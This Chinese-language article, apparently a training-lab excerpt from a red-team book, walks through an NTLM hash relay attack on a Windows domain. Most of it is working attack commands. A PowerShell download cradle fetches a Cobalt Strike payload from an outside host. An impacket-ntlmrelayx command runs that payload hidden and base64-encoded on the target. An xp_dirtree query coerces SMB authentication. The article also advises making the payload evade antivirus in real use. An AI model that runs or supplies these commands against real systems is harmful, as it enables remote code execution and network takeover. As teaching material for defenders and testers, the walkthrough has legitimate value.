内网Hash转发攻击

科技   2024-06-12 17:00   江苏  
点击星标,即时接收最新推文

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

  

Hash转发

如果我们捕获到NTLM hash的域用户是某台远程主机的本地管理员,我们则可以执行pass-the hash攻击来获得远程代码执行。虽然Net-NTLM hash不能直接用来hash传递,但我们可以将它转发到另一台主机。

需要注意的是仅在SMB签名被禁用的情况可以转发。SMB签名仅在域控是默认启用的。在我们的例子中,服务账户SQLSvc是appsrv01的本地管理员。在转发成功后,可以执行我们指定的命令。这里我们执行一个cobaltstrike PowerShell上线命令。先对要执行的命令进行编码:

$text = "IEX ((new-object net.webclient).downloadstring('http://1.2.3.4:8000/a'))"$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)$EncodedText = [Convert]::ToBase64String($bytes)$EncodedText

Base64编码PowerShell命令

接下来,使用ntlmrelayx.py转发捕获的hash,-t指定转发的目标主机IP,这里为appsrv01的IP,-c指定要执行的命令:

sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.3.21 -c 'powershell -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAG...'

然后在win10执行ESC程序强迫dev-DC01上的SQL服务发起一个SMB请求,下面IP为kali 的IP:

set instance dev-dc01.dev.ms08067.cnEXEC master..xp_dirtree '\\192.168.3.104\test'go    

xp_dirtree强迫SMB认证

如果执行成功,kali将会收到请求:

 ntlmrelayx接收到请求

cobaltstrike beacon成功上线:   

Hash转发cobaltstrike上线

在不破解密码hash的情况下,我们获得了appsrv01的system权限。

需要注意的是,这里只是为了介绍Hash转发的概念,所以APPSRV01的Windows defender是关闭状态。在实际场景,需要对cobaltstrike的PowerShell代码进行免杀,或者使用其他类型的shellcode加载器来绕过终端安全软件。

 

—  实验室旗下直播培训课程  —



和20000+位同学加入MS08067一起学习


        

Ms08067安全实验室
“Ms08067安全实验室”致力于网络安全的普及和培训!
 最新文章